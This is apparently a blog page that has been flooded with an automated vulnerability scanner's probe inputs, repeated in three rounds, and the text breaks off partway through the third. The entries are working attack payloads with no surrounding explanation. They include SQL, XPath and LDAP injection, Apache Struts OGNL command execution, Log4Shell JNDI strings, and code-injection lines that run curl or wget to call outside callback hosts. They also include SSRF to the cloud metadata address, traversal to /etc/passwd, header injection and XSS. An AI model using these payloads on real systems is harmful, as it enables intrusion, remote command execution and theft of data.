Welcome to Blog

1

1

1(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Thread@sleep(28*1000))

1

require('child_process').execSync('sleep 29').toString()

1

__import__('os').popen('sleep 29').read()

1

1' + sleep(29*100*Math.sqrt(100)) + '

1

1'; var djci=sleep(29*1000) + '

1

1'; var djci=sleep(29*1000);//

1

1' OR (SELECT 1337 FROM (SELECT(SLEEP(29)))prime) AND 'qualys'='qualys

1

1' WHERE 1337=1337 AND (SELECT 1319 FROM (SELECT(SLEEP(29)))qualys)-- prime

1

1(SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333) /*'XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR'|"XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR"*/

1

1;SELECT sleep(29); --

1

1' + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_2222) + '

1

1 + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_1111)

1

1',0,0);WAITFOR DELAY'00:00:29'--

1

1');WAITFOR DELAY '00:00:29'--

1

1';WAITFOR DELAY '00:00:29'--

1

1);WAITFOR DELAY '00:00:29'--

1

1;WAITFOR DELAY '00:00:29';

1

1WAITFOR DELAY '00:00:29'

1

|ping -c2 -i91 localhost|

1

|ping -c2 -i56 localhost

1

ping -c2 -i91 localhost

1

aaaa&ping -n 92 localhost&

1

1

1

1

1" and not(true()) or "false" = "true

1

1" or not(false()) or "true" = "true

1

1" and false() and "or" = "and

1

1

1" or true() or "and" = "and

1

1

1

1 and not(true()) or 'false' = 'true'

1 or not(false()) or 'true' = 'true'

1 and false() and 'or' = 'and'

1

1 or true() or 'and' = 'and'

1' and not(true()) or 'false' = 'true

1

1' or not(false()) or 'true' = 'true

1

1' and false() and 'or' = 'and

1

1

1' or true() or 'and' = 'and

15 oR 9=9 + 1

1

15 oR 9=8 + 1

1

11 or 11=12

1

1

11 or 11=11

1

1

1' /* or __Q_1__ */aND ' oR mktrs'=' aND ljhgy

1

1' /* or __Q_1__ */oR ' aND xqlkp'=' aND xqlkp

1' and 'tpklq'='xqlkp

1

1' or 'tpklq'='tpklq

1

1

1

1') /* or __Q_1__ */aND ' oR tyhjg'=' aND tyhgd

1') /* or __Q_1__ */oR ' aND ptqws'=' aND ptqws

1

1') and 'swqtp'='ptqws

1') or 'swqtp'='swqtp

1 aND 7248=2491 + 4756

1 aND 7248=2491 + 4757

1

1

1 and 7248 IS NULL

1

1

1 and NULL IS NULL

1

1

1 oR 6248=2491 + 3756

1

1 oR 6248=2491 + 3757

1

1 or 6248 IS NULL

1 or NULL IS NULL

1 /* or __Q_1__ */aND 4325=1597 + 2729 -- oR 2728

1

1 /* or __Q_1__ */oR 4325=1597 + 2728 -- aND 2729

1

1 and 4325=2728 --

1

1

1 or 4325=4325 --

1

1

1

1' /* or __Q_1__ */aND 3789=2398 + 1390 -- oR 1391

1' /* or __Q_1__ */oR 3789=2398 + 1391 -- aND 1390

1' and 3789=1391 --

1

1' or 3789=3789 --

1

1') /* or __Q_1__ */aND 2634=1511 + 1124 -- oR 1123

1

1') /* or __Q_1__ */oR 2634=1511 + 1123 -- aND 1124

1

1') and 2634=1123 --

1

1') or 2634=2634 --

1

1

1

file:///etc/passwd

1

1

1

http://localhost:19096

1

$..[?(p="console.log(this.process.mainModule.require('child_process').execSync('curl 6c5964cbad87c59398a62458f4d4064ba98e04d0.19856198393642422.1827941357.oscomm15279701.oscomm.eu2.qualysperiscope.com.').toString())";QualysWAS=''[['constructor']][['constructor']](p);QualysWAS())]

1

__import__('os').popen('wget 19e3e1cc163c6e2edc1ccd20664842194f28ead9.19856198393642422.3628177749.oscomm15214101.oscomm.eu2.qualysperiscope.com.').read()

1

__import__('os').popen('curl ced993a7bc986b8aebc59b0c2bf9abd87595294c.19856198393642422.3901097813.oscomm15214100.oscomm.eu2.qualysperiscope.com.').read()

1

@pd.core.frame.com.builtins.__import__("os").system("""curl 222b7180d5311f4dc011c23cd2901a65e54d7889.19856198393642422.2338866790.oscomm15256401.oscomm.eu2.qualysperiscope.com.#""")

1

@pd.core.frame.com.builtins.__import__("os").system("""curl dda3ab4fec1c7a28a91fa1696f00c642307f4332.19856198393642422.90775706.oscomm15256400.oscomm.eu2.qualysperiscope.com.#""")

1

${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","360bcfccec179e0f0561ce0051fb439c1d47f294.19856198393642422.3915144846.oscomm15079701.oscomm.eu2.qualysperiscope.com.")}

1

1

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://498e770324527e8366fa7d4f5505ea93dcc39550.19856198393642422.2061236893.log4j12.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://f74ce1dba109a11fe2fc9cff23ae2bd8f5992030.19856198393642422.879745113.log4j11.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//b48d43c6c25ca0e14e9cc22ebbbf3ec30039a3aa.19856198393642422.1186503872.log4j10.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:dns://f3cb8d98a457da9b2ea7a90464822dfbfae68c79.19856198393642422.1347664398.log4j09.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//dec5e4656fc36cc3e97d0b5a7a917a7f8f237edf.19856198393642422.865211286.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jnd${123%ff:-${123%ff:-i:}}ldap://0354d42f642427d6555441a62d87534ab0c2acd1.19856198393642422.2648854144.log4j07.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${::-n}di:ldap${::-:}//87bbbe95e224212f5d0217c450e25ac84bab6b52.19856198393642422.2522057729.log4j06.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://8fe461b7e990a23e3ef282d3871f96a03a945db7.19856198393642422.3299179799.log4j05.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://9f98ec6b8155f67cef108233de114ed555c28e31.19856198393642422.2343064363.log4j04.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:rmi://a921f31f37d5b1b2645d22c0620e0078e2763c4e.19856198393642422.397733484.log4j03.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:ldap://45c7b784f74beea3d40b7f7a2b9a16c1814bc85b.19856198393642422.1060850444.log4j02.log4j.eu2.qualysperiscope.com./QualysWAS}

1

3cc38cf77e27739551041f43df89c73009126fa0.19856198393642422.3024648360.ssrf02.ssrf.eu2.qualysperiscope.com.

1

http://6c41a136a01f3f75eedb6a3b62d2d4fedf3fc854.19856198393642422.1016287251.ssrf01.ssrf.eu2.qualysperiscope.com.

1

Joe+ bcc:was_engine@a1c8799b106f0474c1f0219cfa030ecd5efafca5.19856198393642422.3560743709.smtphi01.smtp.eu2.qualysperiscope.com.

1

1)(|(uidNumber=*)

1

1)(|(gidNumber=*)

1

1)(|(homeDirectory=*)

1

1)(|(uid=*)

1

1)(|(objectclass=*)

1

1*

1

1)(|(cn=*))

1

1*(|(objectclass=*))

1

1)(uid=*))(|(uid=*

1

1)(attribute2=*)

1

QualysWAS${150797*150797}QualysWAS

1

${''.getClass().forName('java.lang.Runtime').getMethods()[6].toString()}

1

QualysWAS${"150898".toString().replace("8", "7")}QualysWAS

1

https://community.qualys.com/

1

http://169.254.169.254/latest/meta-data/

1

function(){qxss84Hs4fii};

1

qualyswas:

1

(23.0231*213.759)

1

;echo 23.0231*213.759;//{@math key=4335.158242899999 method="add" operand=586.23659/} /* #set($value=23.0231*213.759) $value */

1

1

|aaaa =(23.0231*213.759) |${23.0231*213.759}{23.0231*213.759}4921.3948329(23.0231*213.7591)=(23.0231*213.759)#{23.0231*213.759}

1

!@#$%^&*()

1

!@#$%^&*()1

1

1!@#$%^&*()

1

1

1

"-qxssdwo2WO88()-"

1

'-qxssTbkc905v()-'

1

*/;(function(){qxssgUsj13Lz});/*

1

9 ;(function(){qxssIq2M4xe3});//

1

9;(function(){qxss9D7lAYZL});//

1

';(function(){qxss1CW0Dmqo});/**/'

1

qualys(aqxssI9E6fDa0)xyz

1

");(function(){qxssu21Sx7W5});/**/"

1

";(function(){qxss8K5804L3});/**/"

1

javascript:qxss(X140020028024192Y1_2Z);

1

http://rfitest/

1

|netstat -an

1

a(){}phpinfo(); function a

1

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q2d1hi3j').(#str3='B4D7e6').(#str=#str2+':QQ:'+#str1+':PP:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

1

%25{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

....//....//....//....//....//....//etc/passwd

1

php://filter/read=string.rot13/resource=/etc/passwd

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

//....//....//....//....//....//....//....//etc/passwd

1

//..//..//..//..//..//..//..//etc/passwd

1

../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

1

1e309

1

(

1

,

1

``

1

/*

1

#

1

;--

1

1'

1

qualyswasesi

1

q Qualys_resp_hdr_injection: Vulnerable

1

q Qualys_resp_hdr_injection: Vulnerable

1

q Content-Type:text/html Content-Length: 190 HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: a=q Content-Length: 2 AA

1

111222

1

1

1

%3cscript z%3e_q(y)%3c/script%3e

1

< script a=4>qsssJDzUp0a=7< /script>

1

" onEvent=X140020028024192Y1_2Z

1

' onEvent=X140020028024192Y1_2Z

1

"'>

1

1

BODY{background:url("javascript:qssQ3Kp4b3X=7")}

1

1">

1

1

1

"'>

1

1

1

1

1 _q_q=random(23nxAk36)

1

_q=random(X140020028024192Y1_2Z)

1

_q=random(X140020028024192Y1_2Z)

1

"'>

1

z-->

1

1"'>

1

">

1

javascript:qxss(X140020028024192Y1_2Z);

1

" onEvent=X140020028024192Y1_2Z

1

' onEvent=X140020028024192Y1_2Z

1

_q=random(X140020028024192Y1_2Z)

1

"'>

1

1

1(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Thread@sleep(28*1000))

1

require('child_process').execSync('sleep 29').toString()

1

__import__('os').popen('sleep 29').read()

1

1' + sleep(29*100*Math.sqrt(100)) + '

1

1'; var djci=sleep(29*1000) + '

1

1'; var djci=sleep(29*1000);//

1

1' OR (SELECT 1337 FROM (SELECT(SLEEP(29)))prime) AND 'qualys'='qualys

1

1' WHERE 1337=1337 AND (SELECT 1319 FROM (SELECT(SLEEP(29)))qualys)-- prime

1

1(SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333) /*'XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR'|"XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR"*/

1

1;SELECT sleep(29); --

1

1' + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_2222) + '

1

1 + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_1111)

1

1',0,0);WAITFOR DELAY'00:00:29'--

1

1');WAITFOR DELAY '00:00:29'--

1

1';WAITFOR DELAY '00:00:29'--

1

1);WAITFOR DELAY '00:00:29'--

1

1;WAITFOR DELAY '00:00:29';

1

1WAITFOR DELAY '00:00:29'

1

|ping -c2 -i91 localhost|

1

|ping -c2 -i56 localhost

1

ping -c2 -i91 localhost

1

aaaa&ping -n 92 localhost&

1

1

1

1

1" and not(true()) or "false" = "true

1

1

1" or not(false()) or "true" = "true

1

1" and false() and "or" = "and

1

1" or true() or "and" = "and

1

1 and not(true()) or 'false' = 'true'

1

1 or not(false()) or 'true' = 'true'

1

1 and false() and 'or' = 'and'

1

1 or true() or 'and' = 'and'

1

1' and not(true()) or 'false' = 'true

1

1' or not(false()) or 'true' = 'true

1

1' and false() and 'or' = 'and

1

1' or true() or 'and' = 'and

1

15 oR 9=9 + 1

1

15 oR 9=8 + 1

1

11 or 11=12

1

11 or 11=11

1

1' /* or __Q_1__ */aND ' oR mktrs'=' aND ljhgy

1

1' /* or __Q_1__ */oR ' aND xqlkp'=' aND xqlkp

1

1' and 'tpklq'='xqlkp

1

1' or 'tpklq'='tpklq

1

1

1') /* or __Q_1__ */aND ' oR tyhjg'=' aND tyhgd

1

1') /* or __Q_1__ */oR ' aND ptqws'=' aND ptqws

1') and 'swqtp'='ptqws

1

1') or 'swqtp'='swqtp

1

1

1

1 aND 7248=2491 + 4756

1 aND 7248=2491 + 4757

1 and 7248 IS NULL

1

1 and NULL IS NULL

1

1

1 oR 6248=2491 + 3756

1

1 oR 6248=2491 + 3757

1 or 6248 IS NULL

1

1 or NULL IS NULL

1 /* or __Q_1__ */aND 4325=1597 + 2729 -- oR 2728

1

1 /* or __Q_1__ */oR 4325=1597 + 2728 -- aND 2729

1

1 and 4325=2728 --

1

1

1 or 4325=4325 --

1' /* or __Q_1__ */aND 3789=2398 + 1390 -- oR 1391

1' /* or __Q_1__ */oR 3789=2398 + 1391 -- aND 1390

1

1

1' and 3789=1391 --

1

1

1' or 3789=3789 --

1

1') /* or __Q_1__ */aND 2634=1511 + 1124 -- oR 1123

1

1') /* or __Q_1__ */oR 2634=1511 + 1123 -- aND 1124

1

1') and 2634=1123 --

1

1') or 2634=2634 --

1

1

1

file:///etc/passwd

1

1

1

http://localhost:19096

1

$..[?(p="console.log(this.process.mainModule.require('child_process').execSync('curl a4ef4188a572fd19ec3cd39720e1a43db16a3137.19841408393642422.1998809712.oscomm15279701.oscomm.eu2.qualysperiscope.com.').toString())";QualysWAS=''[['constructor']][['constructor']](p);QualysWAS())]

1

__import__('os').popen('wget cda9103d2db428175174fb60c51a43f5a3eaa9df.19841408393642422.366473743.oscomm15214101.oscomm.eu2.qualysperiscope.com.').read()

1

__import__('os').popen('curl b57892336d6b3d9119f83db5f11380c13b04650d.19841408393642422.1561338425.oscomm15214100.oscomm.eu2.qualysperiscope.com.').read()

1

@pd.core.frame.com.builtins.__import__("os").system("""curl cefe47520ac7d31ba283d2f7378c62f921f1028c.19841408393642422.2012074749.oscomm15256401.oscomm.eu2.qualysperiscope.com.#""")

1

@pd.core.frame.com.builtins.__import__("os").system("""curl 3dd7485a2b55abf0c37285f8b502cacb595c8476.19841408393642422.3619704633.oscomm15256400.oscomm.eu2.qualysperiscope.com.#""")

1

${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","44da9164a139f2dc6fe56f05a20f465c9ca48b31.19841408393642422.523705208.oscomm15079701.oscomm.eu2.qualysperiscope.com.")}

1

1

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://16559dc763a188eba090e99fb8e21dafae3ff268.19841408393642422.2691468980.log4j12.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://e3bed60bd9154bad5b9769624849fad8696e7156.19841408393642422.3943413179.log4j11.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//b0c7abfe0cb2acf2a37a35c44cc078aeac1981e8.19841408393642422.1423081390.log4j10.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:dns://b522c0b39af6357c747ef347af1cb44040ccc368.19841408393642422.1271411019.log4j09.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//346d243e405b456ae7b1d20c311b908c83a65934.19841408393642422.1232843271.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jnd${123%ff:-${123%ff:-i:}}ldap://82d159090f7fd500aabf072be220044ac2b67c96.19841408393642422.391996099.log4j07.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${::-n}di:ldap${::-:}//4bd9e7fe5a0d8f6196476d5954783cbcf2460856.19841408393642422.453735426.log4j06.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://8150c7a1b2d406eb9d9dce40f4283897f0ffe951.19841408393642422.2648043911.log4j05.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://3c1d2e7ef6f84544bd87d504cde7b20027d95f5a.19841408393642422.618286615.log4j04.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:rmi://a667f9c3a45169ac15243f29c7f1c7b5846c5a0d.19841408393642422.2897817130.log4j03.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:ldap://9b5e5ad532ce9cac4c6ec7512a9e1814579840e3.19841408393642422.2868396245.log4j02.log4j.eu2.qualysperiscope.com./QualysWAS}

1

d3bfd95ec101b7885786f11eff99273f97c5e53f.19841408393642422.4144810528.ssrf02.ssrf.eu2.qualysperiscope.com.

1

http://8e2c4b8550e0d10c1190db5d12482dffdb7469c3.19841408393642422.128319981.ssrf01.ssrf.eu2.qualysperiscope.com.

1

Joe+ bcc:was_engine@3433cd05ad90a540aa246036925a4a0ca747990b.19841408393642422.3323989075.smtphi01.smtp.eu2.qualysperiscope.com.

1

1)(|(uidNumber=*)

1

1)(|(gidNumber=*)

1

1)(|(homeDirectory=*)

1

1)(|(uid=*)

1

1)(|(objectclass=*)

1

1*

1

1)(|(cn=*))

1

1*(|(objectclass=*))

1

1)(uid=*))(|(uid=*

1

1)(attribute2=*)

1

QualysWAS${150797*150797}QualysWAS

1

${''.getClass().forName('java.lang.Runtime').getMethods()[6].toString()}

1

QualysWAS${"150898".toString().replace("8", "7")}QualysWAS

1

https://community.qualys.com/

1

http://169.254.169.254/latest/meta-data/

1

function(){qxssh2jNlp7p};

1

qualyswas:

1

(23.0231*213.759)

1

;echo 23.0231*213.759;//{@math key=4335.158242899999 method="add" operand=586.23659/} /* #set($value=23.0231*213.759) $value */

1

1

|aaaa =(23.0231*213.759) |${23.0231*213.759}{23.0231*213.759}4921.3948329(23.0231*213.7591)=(23.0231*213.759)#{23.0231*213.759}

1

!@#$%^&*()

1

!@#$%^&*()1

1

1!@#$%^&*()

1

1

1

"-qxssL7T7TXBr()-"

1

'-qxss4GG2wDAV()-'

1

*/;(function(){qxssQ8QO4T5y});/*

1

9 ;(function(){qxss04n33ZO8});//

1

9;(function(){qxssCbcWGSn7});//

1

';(function(){qxssVxE9Wxfy});/**/'

1

qualys(aqxssdg2Sc67z)xyz

1

");(function(){qxss0UVm8Wpz});/**/"

1

";(function(){qxssW3oBRI1X});/**/"

1

javascript:qxss(X140185585427824Y1_2Z);

1

http://rfitest/

1

|netstat -an

1

a(){}phpinfo(); function a

1

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q2d1hi3j').(#str3='B4D7e6').(#str=#str2+':QQ:'+#str1+':PP:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

1

%25{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

....//....//....//....//....//....//etc/passwd

1

php://filter/read=string.rot13/resource=/etc/passwd

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

//....//....//....//....//....//....//....//etc/passwd

1

//..//..//..//..//..//..//..//etc/passwd

1

../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

1

1e309

1

(

1

,

1

``

1

/*

1

#

1

;--

1

1'

1

qualyswasesi

1

q Qualys_resp_hdr_injection: Vulnerable

1

q Qualys_resp_hdr_injection: Vulnerable

1

q Content-Type:text/html Content-Length: 190 HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: a=q Content-Length: 2 AA

1

111222

1

1

1

%3cscript z%3e_q(y)%3c/script%3e

1

< script a=4>qss1ZKt1zE9=7< /script>

1

" onEvent=X140185585427824Y1_2Z

1

' onEvent=X140185585427824Y1_2Z

1

"'>

1

1

BODY{background:url("javascript:qss0MrSKQvz=7")}

1

1">

1

1

1

"'>

1

1

1

1

1 _q_q=random(lVs27ffy)

1

_q=random(X140185585427824Y1_2Z)

_q=random(X140185585427824Y1_2Z)

1

1

"'>

1

z-->

1

1"'>

1

">

1

javascript:qxss(X140185585427824Y1_2Z);

1

" onEvent=X140185585427824Y1_2Z

1

' onEvent=X140185585427824Y1_2Z

1

_q=random(X140185585427824Y1_2Z)

1

"'>

1

1

1(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Thread@sleep(28*1000))

1

require('child_process').execSync('sleep 29').toString()

1

__import__('os').popen('sleep 29').read()

1

1' + sleep(29*100*Math.sqrt(100)) + '

1

1'; var djci=sleep(29*1000) + '

1

1'; var djci=sleep(29*1000);//

1

1' OR (SELECT 1337 FROM (SELECT(SLEEP(29)))prime) AND 'qualys'='qualys

1

1' WHERE 1337=1337 AND (SELECT 1319 FROM (SELECT(SLEEP(29)))qualys)-- prime

1

1(SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333) /*'XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR'|"XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR"*/

1

1;SELECT sleep(29); --

1

1' + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_2222) + '

1

1 + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_1111)

1

1',0,0);WAITFOR DELAY'00:00:29'--

1

1');WAITFOR DELAY '00:00:29'--

1

1';WAITFOR DELAY '00:00:29'--

1

1);WAITFOR DELAY '00:00:29'--

1

1;WAITFOR DELAY '00:00:29';

1

1WAITFOR DELAY '00:00:29'

1

|ping -c2 -i91 localhost|

1

|ping -c2 -i56 localhost

1

ping -c2 -i91 localhost

1

aaaa&ping -n 92 localhost&

1

1

1

1

1

1

1" and not(true()) or "false" = "true

1

1" or not(false()) or "true" = "true

1" and false() and "or" = "and

1

1" or true() or "and" = "and

1 and not(true()) or 'false' = 'true'

1

1 or not(false()) or 'true' = 'true'

1

1 and false() and 'or' = 'and'

1

1

1 or true() or 'and' = 'and'

1' and not(true()) or 'false' = 'true

1

1' or not(false()) or 'true' = 'true

1

1' and false() and 'or' = 'and

1

1

1' or true() or 'and' = 'and

1

15 oR 9=9 + 1

1

15 oR 9=8 + 1

1

11 or 11=12

1

11 or 11=11

1' /* or __Q_1__ */aND ' oR mktrs'=' aND ljhgy

1

1' /* or __Q_1__ */oR ' aND xqlkp'=' aND xqlkp

1

1' and 'tpklq'='xqlkp

1

1

1' or 'tpklq'='tpklq

1') /* or __Q_1__ */aND ' oR tyhjg'=' aND tyhgd

1

1') /* or __Q_1__ */oR ' aND ptqws'=' aND ptqws

1

1') and 'swqtp'='ptqws

1

1

1') or 'swqtp'='swqtp

1

1 aND 7248=2491 + 4756

1

1 aND 7248=2491 + 4757

1

1 and 7248 IS NULL

1

1 and NULL IS NULL

1

1

1 oR 6248=2491 + 3756

1

1 oR 6248=2491 + 3757

1 or 6248 IS NULL

1

1 or NULL IS NULL

1

1

1

1 /* or __Q_1__ */aND 4325=1597 + 2729 -- oR 2728

1 /* or __Q_1__ */oR 4325=1597 + 2728 -- aND 2729

1 and 4325=2728 --

1

1 or 4325=4325 --

1

1

1

1' /* or __Q_1__ */aND 3789=2398 + 1390 -- oR 1391

1' /* or __Q_1__ */oR 3789=2398 + 1391 -- aND 1390

1' and 3789=1391 --

1

1' or 3789=3789 --

1

1

1') /* or __Q_1__ */aND 2634=1511 + 1124 -- oR 1123

1') /* or __Q_1__ */oR 2634=1511 + 1123 -- aND 1124

1

1') and 2634=1123 --

1

1') or 2634=2634 --

1

1

1

file:///etc/passwd

1

1

1

http://localhost:19096

1

